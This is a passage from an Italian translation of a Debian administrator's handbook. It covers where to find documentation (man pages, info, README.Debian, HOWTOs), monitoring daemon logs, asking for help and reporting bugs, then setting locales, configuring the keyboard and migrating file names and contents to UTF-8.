La qualità più importante di un amministratore è saper far fronte a qualsiasi situazione, nota o ignota. Questo capitolo suggerisce alcuni metodi che si spera permetteranno di isolare la causa di qualunque problema si possa incontrare, così da poterlo risolvere.

7.1. Fonti documentali

Prima di comprendere cosa sta relamente succedendo quando c'è un problema, bisogna conoscere il ruolo teorico giocato da ciascun programma coinvolto nel problema. Per fare questo, per avere la migliore visione si deve consultare la loro documentazione; ma dal momento che queste documentazioni molte e posso essere sparse in lungo e in largo, si dovrebbero conoscere tutti i posti in cui si potrebbero trovare.

7.1.1. Pagine di manuale

CULTURA RTFM

Questo acronimo sta per "Read the F**king Manual" («Leggi il f**tuto manuale»), ma può anche esere esteso in una variante più gentile, "Read the Fine Manual" ("Leggi l'ottimo manuale"). Questa frase viene talvolta usata per dare risposte (laconiche) a domande fatte da novellini. È una risposta piuttosto brusca, e tradisce un certo fastidio nel rispondere a una domanda fatta da qualcuno che non si è neanche scomodato a leggere la documentazione. Qualcuno dice che questa risposta classica sia meglio di nessuna risposta (visto che indica che la documentazione contiene la risposta cercata), o di una risposta più prolissa e arrabbiata.

In ogni caso, se qualcuno risponde "RTFM", è bene non prendersela. Dal momento che questa risposta può essere considerata fastidiosa, forse sarebbe meglio evitarsela fin dall'inizio. Se l'informazione cercata non sta nel manuale, il che è possibile, sarebbe meglio dirlo, preferibilmente nella domanda iniziale. Si dovrebbero anche descrivere i vari passi compiuti personalmente per cercare informazioni prima di fare una domanda su un forum. Seguire le linee guida di Eric Raymond è un buon modo per evitare gli errori più comuni e ottenere risposte utili.

→ http://catb.org/~esr/faqs/smart-questions.html

Le pagine di manuale, sebbene relativamente laconiche, contengono una grande quantità di informazioni importanti. Daremo una rapida occhiata al comando per vederle fornito dal pacchetto man-db. Si deve scrivere semplicemente man pagina-di-manuale — di solito la pagina di manuale ha lo stesso nome del comando di cui si cerca la documentazione. Per esempio, per conoscere le possibili opzioni del comando cp, digitare il comando man cp al prompt di shell (vedere il riquadro FONDAMENTALI La shell, un interprete a riga di comando).

FONDAMENTALI La shell, un interprete a riga di comando

Un interprete a riga di comando, detto anche «shell», è un programma che esegue comandi inseriti dall'utente o memorizzati in uno script. In modalità interattiva, visualizza un prompt (che di solito termina per $ per un utente normale o per # per un amministratore), che indica che è pronto a leggere un nuovo comando. Appendice B, Breve Corso di Recupero descrive i fondamentali dell'uso della shell.

La shell predefinita e più comunemente usata è la bash (Bourne Again SHell), ma ce ne sono altre, fra cui dash, csh, tcsh e zsh.

Fra le altre cose, la maggior parte delle shell offrono aiuto (digitare help) ed assistenza durante l'inserimento da prompt, come il completamento dei nomi dei comandi o dei file (che di solito si attiva premendo il tasto tab) od il richiamo di comandi precedenti (gestione cronologia; cioè controllare la mappatura per "pagina su" e "pagina giù" in /etc/inputrc).

Le pagine di manuale non documentano solo i comandi ed i programmi accessibili dalla riga di comando, ma anche i file di configurazione, le chiamate di sistema, le funzioni di libreria e così via. A volte alcuni nomi possono collidere. Per esempio, il comando read della shell ha lo stesso nome della chiamata di sistema read. Per questo le pagine di manuale sono organizzate in sezioni numerate:

1

comandi eseguibili dalla riga di comando;

2

chiamate di sistema (funzioni fornite dal kernel);

3

funzioni di libreria (fornite dalle librerie di sistema);

4

dispositivi (sui sistemi Unix-like, questi sono file speciali, di solito posti nella directory /dev/);

5

file di configurazione (formati e convenzioni);

6

giochi;

7

insiemi di macro e standard;

8

comandi di amministrazione del sistema;

9

routine del kernel.

È possibile specificare la sezione della pagina di manuale che si sta cercando: per vedere la documentazione della chiamata di sistema read, si scriverà man 2 read. Quando non è esplicitamente specificata una sezione, verrà mostrata la prima sezione che ha una pagina di manuale col nome richiesto. Perciò, man shadow restituirà shadow(5) perché non ci sono pagine di manuale per shadow nelle sezioni da 1 a 4.

SUGGERIMENTO whatis

Se non si vuole guardare la pagina di manuale completa ma solo una breve descrizione per confermare che è ciò che si cerca, si scriva semplicemente whatis comando.

$ whatis scp

scp (1)     - secure copy (remote file copy program)

Questa breve descrizione è inclusa nella sezione NOME all'inizio di tutte le pagine di manuale.

Ovviamente, se non si conoscono i nomi dei comandi, il manuale non sarà molto utile. Per questo scopo c'è il comando apropos, che aiuta a cercare all'interno delle pagine di manuale, o più precisamente nelle loro descrizioni brevi. Ogni pagina di manuale comincia in pratica con un riassunto di una riga. apropos, restituisce una lista di pagine di manuale che menzionano le parole chiave richieste. Con una scelta oculata, si può trovare il nome del comando che serve.

Esempio 7.1. Trovare cp con apropos

$ apropos "copy file"

cp (1)               - copy files and directories

cpio (1)             - copy files to and from archives

hpcopy (1)           - copy files from an HFS+ volume

install (1)          - copy files and set attributes

ntfscp (8)           - copy file to an NTFS volume.

SUGGERIMENTO Sfogliare seguendo i collegamenti

Molte pagine di manuale hanno una sezione «VEDERE ANCHE», di solito alla fine. Si riferisce ad altre pagine di manuale che trattano comandi simili oppure a documentazione esterna. In questo modo, è possibile trovare documentazione relativa a ciò che si stava cercando anche quando la prima scelta non è ottimale.

Il comando man non è l'unico modo di consultare le pagine di manuale; infatti, anche khelpcenter, konqueror (in KDE) e yelp (in GNOME) offrono questa possibilità. Esiste anche un'interfaccia web, fornita dal pacchetto man2html, che permette di vedere le pagine di manuale in un browser web. In un computer in cui è installato questo pacchetto, si può usare questo URL dopo aver seguito le istruzioni in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

Questa utilità richiede un server web. Per questo si dovrebbe installare questo pacchetto su uno dei propri server: tutti gli utenti della rete locale potrebbero beneficiare di questo servizio (comprese macchine non Linux) e così non si è obbligati a installare un server HTTP su ogni macchina. Se il proprio server è accessibile anche da altre reti, potrebbe essere opportuno restringere l'accesso a questo servizio solo agli utenti della rete locale.

Ultimo ma non meno importante, è possibile visualizzare tutte le pagine manuali disponibili in Debian (anche quelle che non sono installate sul computer) su manpages.debian.org. Esso offre ogni pagina di manuale in più versioni, una per ogni versione Debian.

→ https://manpages.debian.org

DEBIAN POLICY Pagine di manuale richieste

Debian richiede che ogni programma abbia una pagina di manuale. Se l'autore a monte non ne fornisce una, il manutentore del pacchetto Debian di solito scriverà una pagina minimale che quantomeno indirizzerà il lettore alla documentazione originale.

7.1.2. Documenti info

Il progetto GNU ha scritto manuali per la maggior parte dei suoi programmi in formato info; per questo motivo molte pagine di manuale rimandano alla corrispondente documentazione info. Questo formato offre alcuni vantaggi, ma il programma predefinito per visualizzare questi documenti (è chiamato info) è anche leggermente più complesso. Si farebbe bene ad usare invece pinfo (dal pacchetto pinfo).

La documentazione info ha una struttura gerarchica e se si invoca info senza parametri, verrà mostrata una lista dei nodi disponibili al primo livello. Di solito, i nodi riportano i nomi dei comandi corrispondenti.

Con pinfo è facile effettuare la navigazione tra questi nodi utilizzando i tasti freccia. In alternativa, è anche possibile utilizzare un browser grafico, che è molto più intuitivo. Inoltre, si possono utilizzare konqueror e yelp; il pacchetto info2www fornisce anche un'interfaccia web.

→ http://localhost/cgi-bin/info2www

Notare che il sistema info non permette traduzioni, al contrario del sistema di pagine man. Perciò i documenti info sono quasi sempre in Inglese. Tuttavia, quando si chiede al programma pinfo di visualizzare una pagina info non esistente, questo ricadrà sulla pagina man con lo stesso nome (se esiste), che potrebbe essere stata tradotta.

7.1.3. Documentazione specifica

Ogni pacchetto include la propria documentazione. Anche i programmi meno documentati in generale hanno un file README che contiene informazioni interessanti o importanti. Questa documentazione è installata nella directory /usr/share/doc/pacchetto/ (dove pacchetto rappresenta il nome del pacchetto). Se la documentazione è particolarmente grande, potrebbe non essere inclusa nel pacchetto principale del programma, ma piuttosto separata in un pacchetto dedicato che di solito di chiama pacchetto-doc. Di solito il pacchetto principale raccomanda il pacchetto con la documentazione, dimodoché è facile trovarla.

Nella directory /usr/share/doc/pacchetto/ ci sono inoltre alcuni file forniti da Debian che completano la documentazione specificando le peculiarità del pacchetto o dei miglioramenti rispetto a un'installazione tradizionale del software. Il file README.Debian indica inoltre tutti gli adattamenti fatti per aderire alla Policy di Debian. Il file changelog.Debian.gz permette all'utente di seguire le modifiche fatte al pacchetto nel tempo: è molto utile per cercare di capire cos'è cambiato fra due versioni installate che non hanno lo stesso comportamento. Infine, a volte è presente un file NEWS.Debian.gz che documenta i principali cambiamenti al programma che possono interessare direttamente l'amministratore (vedere Sezione 6.7.2, «Gestire i problemi dopo un aggiornamento»).

7.1.4. Siti web

Nella maggior parte dei casi, i programmi di software libero hanno dei siti web che sono usati per distribuirli e unire la comunità dei loro sviluppatori e utenti. Questi siti sono spesso pieni di informazioni importanti in varie forme: documentazione ufficiale, FAQ (Frequently Asked Questions, domande poste frequentemente), archivi delle mailing list, ecc.I problemi che si possono incontrare sono spesso già stati oggetto di molte domande; le FAQ o gli archivi delle mailing list potrebbero contenere una soluzione. Una buona padronanza dei motori di ricerca risulterà molto preziosa per trovare rapidamente le pagine di interesse (restringendo la ricerca al dominio o sotto-dominio Internet dedicato al programma). Se la ricerca restituisce troppe pagine o se i risultati non sono attinenti a ciò che si cerca, si può aggiungere la parola chiave debian per limitare i risultati e trovare le informazioni pertinenti.

SUGGERIMENTO Dall'errore alla soluzione

Se il software restituisce un messaggio d'errore molto specifico, si può inserirlo nel motore di ricerca (fra doppie virgolette, ", per cercare non le singole parole chiave, ma la frase completa). Nella maggior parte dei casi, i primi collegamenti restituiti conterranno la risposta cercata.

In altri casi si otterranno errori molto generici, come «Permesso negato». In questo caso, è meglio controllare i permessi degli elementi coinvolti (file, ID utente, gruppi, ecc.).

Se non si conosce l'indirizzo del sito web del software, ci sono diversi modi per ottenerlo. Prima di tutto, controllare se esiste un campo Homepage nelle meta-informazioni del pacchetto (apt show pacchetto). In alternativa, la descrizione del pacchetto potrebbe contenere un collegamento al sito web ufficiale del programma. Se non è indicato alcun URL, cercare nel file /usr/share/doc/pacchetto/copyright. Il manutentore Debian, di solito, indica in questo file dove è stato preso il codice sorgente del programma ed è probabile che questo sia il sito web cercato. Qualora la ricerca sia ancora infruttuosa, consultare una directory di software libero, come la Free Software Directory di FSF, oppure utilizzando direttamente un motore di ricerca, come Google, DuckDuckGo, Yahoo, ecc.

→ https://directory.fsf.org/wiki/Main_Page

È anche possibile controllare il wiki di Debian, un sito web collaborativo dove chiunque, anche semplici visitatori, possono dare suggerimenti direttamente dai loro browser. È usato tanto dagli sviluppatori per delineare e specificare i loro progetti, quanto dagli utenti che condividono la loro conoscenza scrivendo documenti in modo collaborativo.

→ https://wiki.debian.org/

7.1.5. Esercitazioni (HOWTO)

Un HOWTO è un documento che descrive, in termini concreti e passo dopo passo, "come" raggiungere un obiettivo predefinito. Gli obiettivi trattati sono abbastanza variegati, ma spesso di natura tecnica: per esempio, impostare il mascheramento degli IP, configurare un RAID software, installare un server Samba ecc. Questi documenti spesso cercano di coprire tutti i potenziali problemi che potrebbero verificarsi durante l'implementazione di una determinata tecnologia.

Molte di queste guide sono gestite dal Linux Documentation Project (LDP), il cui sito web ospita tutti questi documenti:

→ https://www.tldp.org/

Debian fornisce anche tutorial per i suoi utenti:

→ https://www.debian.org/doc/

Questi documenti dovrebbero essere presi con le molle. Sono spesso vecchi di diversi anni; le informazioni che contengono sono a volte obsolete. Questo fenomeno è ancora più frequente per le loro traduzioni, poiché gli aggiornamenti dopo la pubblicazione di una nuova versione dei documenti originali non sono né sistematici né istantanei. Inoltre, oggigiorno, molte altre guide sono fornite dai blogger, che condividono la loro soluzione con il lettore interessato. Spesso sono prive di informazioni importanti, cioè il motivo per cui una configurazione è stata scelta rispetto ad un'altra o perché qualche opzione è stata abilitata o disabilitata. Poiché il blogging e la creazione di siti web personali hanno reso così facile la condivisione, esistono molte di queste brevi guide, ma solo poche sono attivamente mantenute e ben curate. Questo fa parte delle gioie di lavorare in un ambiente di volontari privo di vincoli…

7.2. Procedure comuni

Lo scopo di questa sezione è di presentare qualche suggerimento generale su certe operazioni che un amministratore dovrà effettuare di frequente. Queste procedure ovviamente non copriranno ogni caso possibile in modo esauriente, ma possono servire come punti di partenza per i casi più difficili.

SCOPERTA Documentazione in altre lingue

Della documentazione tradotta in lingua non inglese è spesso disponibile in un pacchetto separato col nome del pacchetto corrispondente seguito da -lingua (dove lingua è il codice ISO di due lettere per la lingua).

Per esempio, il pacchetto debian-reference-fr è la versione francese delle guide di riferimento per Debian (inizialmente scritta in inglese da Osamu Aoki) ed il pacchetto manpages-de contiene la versione tedesca delle pagine di manuale per l'utilizzo di GNU/Linux.

7.2.1. Configurare un programma

Per configurare un pacchetto sconosciuto, bisogna procedere per passi. Prima di tutto, si deve leggere cosa ha documentato il manutentore del pacchetto. Leggendo /usr/share/doc/pacchetto/README.Debian si verrà inoltre a conoscenza di specifiche modifiche fatte per semplificare l'uso del software. Ciò è a volte essenziale per capire le differenze rispetto al comportamento originale del programma, così come descritto nella documentazione generale, come gli howto. A volte questo file descrive in dettaglio gli errori più comuni per evitare di perdere tempo su problemi noti.

Quindi, si dovrebbe guardare la documentazione ufficiale del software — riferirsi alla Sezione 7.1, «Fonti documentali» per identificare le varie fonti di informazione esistenti. Il comando dpkg -L pacchetto dà una lista di file inclusi nel pacchetto; è quindi possibile identificare rapidamente la documentazione disponibile (oltre ai file di configurazione, situati in /etc/). dpkg -s pacchetto fornisce l'intestazione del pacchetto e mostra i possibili pacchetti raccomandati o suggeriti, fra cui si può trovare la documentazione o l'utilità che potrebbe facilitare la configurazione del software.

Infine, i file di configurazione sono spesso auto-documentati con molti commenti che spiegano in dettaglio i possibili valori di ogni impostazione di configurazione, a volte al punto tale che basta scegliere una riga da attivare fra quelle disponibili. In alcuni casi, nella directory /usr/share/doc/pacchetto/examples/ sono forniti degli esempi di file di configurazione che possono servire come base per i propri file di configurazione.

DEBIAN POLICY Posizione degli esempi

Tutti gli esempi devono essere installati nella directory /usr/share/doc/pacchetto/examples/. Possono essere un file di configurazione, il sorgente di un programma (un esempio di uso di una libreria) o uno script di conversione di dati che l'amministratore può usare in certi casi (ad esempio per inizializzare un database). Se l'esempio è specifico per una particolare architettura, deve essere installato in /usr/lib/pacchetto/examples/ e si può creare un collegamento che punta a quel file nella directory /usr/share/doc/pacchetto/examples/.

7.2.2. Monitorare l'attività dei demoni

Capiere cos'è un demone è qualcosa di più complicato, dal momento che non interagisce direttamente con l'amministratore. Per controllare se un demone è effettivamente in funzione, bisogna fare delle prove. Ad esempio, per controllare il demone Apache (server web), si deve fare una prova con una richiesta HTTP.

FONDAMENTALI Demone

Un demone è un programma non invocato esplicitamente dall'utente e che rimane sullo sfondo, aspettando che si realizzi una cerca condizione prima di eseguire un compito. Molti programmi server sono demoni, un termine che spiega perché la lettera «d» è spesso presente alla fine del loro nome (sshd, smtpd, httpd ecc.).

Per consentire queste prove, ogni demone in generale registra tutto ciò che fa, così come ogni errore che incontra, in quelli che vengono chiamati «file di registro» o «registri di sistema». I registri sono salvati in /var/log/ o una sua sottodirectory. Per sapere il nome esatto di un file di registro per ciascun demone, vedere la sua documentazione. Nota: una sola prova non sempre è sufficiente, se questa non copre tutti i possibili casi d'uso; alcuni problemi si manifestano solo in circostanze particolari.

STRUMENTO Il demone rsyslogd

rsyslogd è speciale: raccoglie i log (messaggi interni di sistema) che gli vengono inviati da altri programmi. A ciascun messaggio è associato un sottosistema (e-mail, kernel, autenticazione, ecc.) ed una priorità; rsyslogd elabora queste due informazioni per decidere cosa fare. Il messaggio di log può essere scritto in diversi file e/o inviato ad una console di amministrazione. I dettagli sono definiti nel file di configurazione /etc/rsyslog.conf (documentato nella pagina di manuale omonima fornita dal pacchetto rsyslog-doc package).

Alcune funzioni C, specializzate nell'invio di log, semplificano l'uso del demone rsyslogd. Tuttavia alcuni demoni gestiscono da soli i propri file di registro (è il caso, ad esempio, di samba, che implementa le cartelle di rete Windows su Linux).

Si noti che quando systemd è in uso, iregistri sono in realtà raccolti da systemd prima di essere trasmetto a rsyslogd. Sono quindi disponibili anche tramite il giornale di systemd e possono essere consultati con journalctl (vedi Sezione 9.1.1, «Il sistema di init systemd» per dettagli).

Qualunque operazione preventiva comincia consultando regolarmente i log più importanti del server. Si possono così diagnosticare i problemi ancor prima che vengano segnalati da utenti seccati. In realtà a volte gli utenti aspettano che i problemi si ripetano per diversi giorni prima di segnalarli. In molti casi, si può usare uno strumento specifico per analizzare il contenuto dei file di log più grandi. In particolare, si possono trovare questi programmi di utilità per i server web (come analog, awstats, webalizer per Apache), per i server FTP, per i server proxy/cache, per i firewall, per i server di posta elettronica, per i server DNS e anche per i server di stampa. Altri strumenti come logcheck (un programma trattato in Capitolo 14, Sicurezza), scansionano questi file alla ricerca di anomalie da segnalare.

7.2.3. Chiedere aiuto su una lista di posta

Se dopo svariate ricerche non si è ancora individuata la causa di un problema, è possibile chiedere aiuto ad altre persone, magari più esperte. Questo è proprio lo scopo della mailing list <debian-user@lists.debian.org> e di quelle in lingua specifica <debian-user-lang@lists.debian.org>. Come ogni comunità, anche questa ha delle regole che devono essere seguite. Prima di porre domande, controllare che il problema non sia già stato trattato da discussioni recenti in lista o dalla documentazione ufficiale.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

FONDAMENTALI Vale la netiquette

In generale, per tutta la corrispondenza sulle liste di posta elettronica, si devono seguire le regole della netiquette. Questo termine si riferisce ad un insieme di regole di buon senso, dalla comune cortesia a errori che dovrebbero essere evitati.

→ https://tools.ietf.org/html/rfc1855

Inoltre, per ogni canale di comunicazione gestita dal progetto Debian, bisogna attenersi al Codice di Condotta di Debian:

→ https://www.debian.org/code_of_conduct

Soddisfatte queste due condizioni, si può pensare a descrivere il problema alla lista. Includere quante più informazioni pertinenti possibili: quali prove sono state effettuate, che documentazione è stata consultata, come si è tentato di diagnosticare il problema, i pacchetti coinvolti o quelli che potrebbero esserlo, ecc. Controllare il Sistema di Tracciamento dei Bug di Debian (BTS, descritto nel riquadro Sezione 1.3.2.1, «Segnalazione di bug») alla ricerca di problemi simili fancendo menzione dei risultati e fornendo i collegamenti ai bug trovati. Il BTS comincia su:

→ https://bugs.debian.org/

Più cortesia e precisione sono state usate, maggiori sono le possibilità di ricevere una risposta completa, o, almeno, parziale. Se si ricevono informazioni importanti via posta elettronica privata, sarebbe meglio riassumerle in pubblico in modo che anche altri possano trarne beneficio. Permettere agli archivi della lista, che vengono ricercati tramite vari motori di ricerca, di mostrare la soluzione per altri che potrebbero avere la stessa domanda.

7.2.4. Segnalare un bug quando un problema è troppo difficile

Se tutti gli sforzi per risolvere un problema falliscono, è possibile che la soluzione non sia responsabilità propria e che il problema sia dovuto a un bug nel programma. In questo caso, la procedura corretta è di segnalare il bug a Debian o direttamente agli sviluppatori a monte. Per farlo, isolare il più possibile il problema e creare una situazione minimale di prova in cui questo possa essere riprodotto. Se si sa quale programma è la causa apparente del problema, si può trovare il pacchetto corrispondente usando il comandodpkg -S file_in_questione. Controllare il sistema di tracciamento dei bug (https://bugs.debian.org/pacchetto) per assicurarsi che il bug non sia già stato segnalato. È possibile inviare la propria segnalazione, usando il comando reportbug, includendo quante più informazioni possibile, soprattutto una descrizione completa di quei casi minimali di prova che permetteranno a chiunque di ricreare il bug.

Quanto visto in questo capitolo aiuta ad affrontare concretamente problemi come quelli che si potrebbero incontrare durante i prossimi capitoli. Li si utilizzi ogni volta che è necessario!

Capitolo 8. Configurazione di base: rete, account, stampa, ...

Un computer installato da zero con debian-installer è pensato per essere il più possibile funzionante, ma molti servizidevono ancora essere configurati. Inoltre è sempre meglio conoscere come modificare certi elementi di configurazione impostati durante il processo di installazione iniziale.

Questo capitolo copre tutto quanto viene normalmente considerato con «configurazione di base»: rete, lingue e localizzazioni, utenti e gruppi, stampa, punti di mount, ecc.

8.1. Configurare il sistema per un'altra lingua

Se il sistema è stato installato inizialmente in Italiano, la macchina avrà già probabilmente l'Italiano come lingue predefinita. È comunque meglio conoscere cosa fa l'installatore per impostare la lingua, cosicché, in caso di necessità, la si possa cambiare.

STRUMENTO Il comando locale mostra la configurazione attuale

Il comando locale riepiloga la configurazione attuale di vari parametri della localizzazione (formato della data, formato dei numeri, ecc.), sotto forma di gruppo di variabili d'ambiente standard dedicate alla modifica dinamica di queste impostazioni.

8.1.1. Impostare la Lingua Predefinita

Una localizzazione è un gruppo di impostazioni regionali. Include non solo la lingua per i testi, ma anche il formato di visualizzazione dei numeri, date, orari e valori monetari, così come i metodi di comparazione alfabetici (per l'ordinamento alfabetico, per l'inclusione dei caratteri accentati, dove previsto). Anche se ognuno di questi parametri può essere specificato indipendentemente dagli altri, generalmente viene utilizzata una localizzazione, la quale è un insieme coerente di valori per questi parametri corrispondente ad una "regione" nel senso più ampio del termine. Le localizzazioni sono generalmente indicate con la forma codice-lingua_CODICE-PAESE, alcune volte con un suffisso che specifica l'insieme di caratteri e la codifica da utilizzare. Questo consente di considerare anche le differenze tipografiche e di idioma tra differenti regioni con una lingua comune.

CULTURA Insiemi di caratteri

Storicamente ogni localizzazione ha un "insieme di caratteri" associati (gruppo di caratteri noti) ed una "codifica" preferita (la rappresentazione interna al computer per i caratteri).

Le codifiche più popolari per le lingue a base-latina sono limitate a 256 caratteri perchè si è scelto di utilizzare un singolo byte per ogni carattere. Poichè 256 caratteri non sono stati suffcienti a coprire tutte le lingue europee, sono state necessarie più codifiche, ed è così che si è arrivati fino a ISO-8859-1 (noto anche come “Latin 1”) e ISO-8859-15 (noto anche come “Latin 9”), tra gli altri.

Lavorare con le lingue straniere spesso implicava passaggi continui tra diverse codifiche ed insiemi di caratteri. Inoltre scrivere documenti multi-lingua portava ad altri problemi, quasi irrisolvibili. Unicode (un super-catalogo che include quasi tutti i sistemi di scrittura utilizzati da tutte le lingue del mondo) è stato creato per risolvere questo problema. Una delle codifiche Unicode, UTF-8, conserva tutti i 128 simboli ASCII (codici a 7 bit), ma gestisce gli altri caratteri in modo differente. Gli altri sono preceduti da una sequenza di caratteri di escape con una lunghezza variabile, che definisce implicitamente la lunghezza del carattere. Questo consente di codificare tutti i caratteri Unicode tramite una sequenza di uno o più byte. Il suo uso si è diffuso in quanto è la codifica predefinita nei documenti XML.

Questa è la codifica che generalmente dovrebbe essere utilizzata, ed è quella predefinita sui sitemi Debian.

Il pacchetto locales include tutti gli elementi richiesti per il corretto funzionamento della "localizzazione" per varie applicazioni. Durante l'installazione, questo pacchetto presenterà alcune domande per scegliere le lingue supportate. Questo insieme di lingue supportate può essere modificato eseguendo dpkg-reconfigure locales come root.

La prima domanda chiederà di selezionare la "localizzazione" da includere. Selezionare tutte le localizzazioni inglesi (ovvero quelle che iniziano con "en_") è una scelta ragionevole. Non si esiti a scegliere altre localizzazioni se la macchina sarà utilizzata da utenti stranieri. L'elenco dell localizzazioni abilitate sul sistema è conservato nel file /etc/locale.gen. È possibile modificare manualmente questo file, ma si deve eseguire locale-gen dopo ogni modifica. Questo genera i file necessari per il corretto funzionamento delle localizzazioni aggiunte e rimuove i file obsoleti.

La seconda domanda, chiamata "Localizzazione predefinita per l'ambiente di sistema", richiede di impostare la localizzazione predefinita. La scelta raccomandata negli U.S.A. è "en_US.UTF-8". Coloro che usano l'inglese britannico preferiranno "en_GB.UTF-8", i canadesi preferiranno o "en_CA.UTF-8" o, per il francese, "fr_CA.UTF-8". Il file /etc/default/locale sarà quindi modificato per memorizzare questa scelta. Da li, è raccolto da tutte le sessioni utente dal PAM che inietterà il suo contenuto nella variabile d'ambiente LANG.

The locales-all package contains the precompiled locale data for all supported locales.

DIETRO LE QUINTE /etc/environment e /etc/default/locale

Il file /etc/environment permette ai programmi login, gdm, o anche ssh di impostare le variabili d'ambiente corrette.

Queste applicazioni non creano queste variabili direttamente, ma attraverso il modulo PAM (pam_env.so). PAM (Pluggable Authentication Module) è una libreria modulare che accentra i meccanismi per l'autenticazione, l'inizializzazione della sessione, e la gestione delle password. Si veda la Sezione 11.7.3.2, «Configurare PAM» per un esempio di configurazione PAM.

Il file /etc/default/locale funziona in modo simile, ma contiene solo la variabile d'ambiente LANG. Grazie a questa divisione, alcuni utenti PAM erediteranno un ambiente completo senza localizzazione. Infatti, è generalmente sconsigliato eseguire programmi server con la localizzazione abilitata; d'altra parte, la localizzazione e le impostazioni internazionali sono raccomandate per i programmi che aprono le sessioni degli utenti.

8.1.2. Configurare la tastiera

Anche se il layout della tastiera viene gestito in modo diverso in console ed in modalità grafica, Debian offre un'interfaccia di configurazione unica che funziona per entrambi: si basa su debconf ed è implementata nel pacchetto keyboard-configuration. Perciò per rispristinare il layout della tastiera si può utilizzare in qualsiasi momento il comando dpkg-reconfigure keyboard-configuration.

Le domande riguardano la disposizione fisica della tastiera (una tastiera PC standard negli Stati Uniti sarà una "Generica 104 tasti"), quindi il layout da scegliere (genericamente "US"), e quindi la posizione del tasto AltGr (Alt di destra). Per ultima arriva la domanda a proposito di quale tasto usare per la funzione "Compose", che consente di inserire i caratteri speciali combinando la pressione di più tasti. Digitare in sequenza Compose ' e produce una "e" accentata ("é"). Tutte queste combinazioni sono descritte nel file /usr/share/X11/locale/en_US.UTF-8/Compose (oppure un altro file, determinato in base alla localizzazione corrente indicata in /usr/share/X11/locale/compose.dir).

Si noti che la configurazione della tastiera per la modalità grafica descritta qui interessa unicamente la diposizione predefinita: gli ambienti GNOME e KDE Plasma, tra gli altri, forniscono un pannello di controllo della tastiera tra le proprie preferenze consentendo ad ogni utente di avere la propria configurazione. Inoltre, in questi pannelli di controllo, sono disponibili alcune opzioni aggiuntive riguardanti il comportamento di alcuni tasti particolari.

8.1.3. Migrare ad UTF-8

La generalizzazione della codifica UTF-8 è stata una soluzione attesa a lungo per le numerose difficoltà con l'interoperabilità, poiché facilita lo scambio internazionale e rimuove i limiti arbitrari sui caratteri che possono essere utilizzati in un documento. L'unica controindicazione è che si è dovuta attraversare una fase di difficile transizione. Poiché non ha potuto essere completamente trasparente (cioè, non è potuta avvenire contemporaneamente in tutto il mondo), due operazioni di conversione sono state necessarie: una sul contenuto dei file e l'altra sul loro nome. Fortunatamente la maggior parte di questa migrazione è stata completata e ne discuteremo più ampiamente per riferimento.

CULTURA Mojibake ed errori di interpretazione

Quando un testo è inviato (o conservato) senza informazioni di codifica non è sempre possibile per il destinatario sapere con certezza quale convenzione usare per determinare il significato di un insieme di byte. È generalmente possibile farsi un'idea in proposito effettuando statistiche circa la distribuzione dei valori nel testo, ma questo non fornisce sempre una risposta definitiva. Quando la codifica scelta per la lettura di un file differisce da quella usata per la scrittura, i byte non vengono interpretati correttamente e avremo, nel migliore dei casi errori su alcuni caratteri, nel peggiore qualcosa di completamente illeggibile.

Così, se un testo francese appare normale con l'eccezione delle lettere accentate e di certi simboli che appiono sostituiti con sequenze di caratteri come «Ã©» o «Ã¨» o «Ã§», si tratta probabilmente di un file codificato con UTF-8 ma interpretato come ISO-8859-1 o ISO-8859-15. Questo è sintomo di una installazione locale che non è ancora stata migrata ad UTF-8. Se invece si vedono punti di domanda al posto delle lettere accentate, anche se questi punti di domanda sembrano sostituire anche il carattere che dovrebbe seguire la lettera accentata, molto probabilmente l'installazione è già configurata per UTF-8 ma è stato inviato un documento codificato con la codifica «Western ISO».

Questo riguarda casi «semplici». Questi casi si verificano solo nella cultura occidentale, poiché l'Unicode (e l'UTF-8) è stato progettato per massimizzare i punti comuni con le codifiche storiche per i linguaggi occidentali basati sull'alfabeto latino, che consente di comprendere parti del testo anche se alcuni caratteri sono mancanti.

In configurazioni più complesse dove sono coinvolti, per esempio, due ambienti con due diversi linguaggi che non utilizzano lo stesso alfabeto, i risultati saranno spesso illeggibili, una serie di simboli astratti che non hanno nulla a che fare l'uno con l'altro. Questo è assai comune con le lingue asiatiche a causa del numero elevato di lingue e sistemi di scrittura. La parola giapponese mojibake è stata adottata per descrivere questo fenomeno. Quando appare la diagnosi è molto complessa e la soluzione più semplice è spesso quella di migrare ad UTF-8 da entrambe le parti.

Per ciò che riguarda i nomi dei file la migrazione può essere relativamente semplice. Lo strumento convmv (contenuto nell'omonimo pacchetto) è stato creato specificatamente a questo scopo: permette di rinominare i file da una codifica ad un'altra. L'uso di questo strumento è relativamente semplice, ma raccomandiamo di farlo in due fasi per evitare sorprese. L'esempio seguente illustra un ambiente UTF-8 che contiene nomi di directory codificati in ISO-8859-15 e l'uso del comando convmv per rinominarli.

$ ls travail/

Ic?nes  ?l?ments graphiques  Textes

$ convmv -r -f iso-8859-15 -t utf-8 travail/

Starting a dry run without changes...

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

No changes to your files done. Use --notest to finally rename the files.

$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

Ready!

$ ls travail/

Éléments graphiques  Icônes  Textes

Per il contenuto del file, le procedure di conversione sono più complesse a causa della vastità dei formati esistenti. Alcuni formati di file includono informazioni sulla codifica che facilitano il compito del software usato per trattarli: è sufficiente, in tal caso, aprire questi file e salvarli nuovamente specificando la codifica UTF-8. In altri casi, si dovrà specificare la codifica originale (ISO-8859-1 o "Western", o ISO-8859-15 o "Western (Euro)", secondo ciò che viene indicato) quando si apre il file.

Per file di testo semplice è possibile usare recode (contenuto nell'omonimo pacchetto) che consente la ricodifica automatica. Questo strumento ha numerose opzioni che è possibile specificare per modificare il suo comportamento. Noi raccomandiamo di consultare la documentazione, la pagina di manuale recode(1), oppure la pagina di info recode (più completa).

8.2. Configurazione della rete

FONDAMENTALI Concetti di rete essenziali (Ethernet, indirizzo IP, sottorete, broadcast)

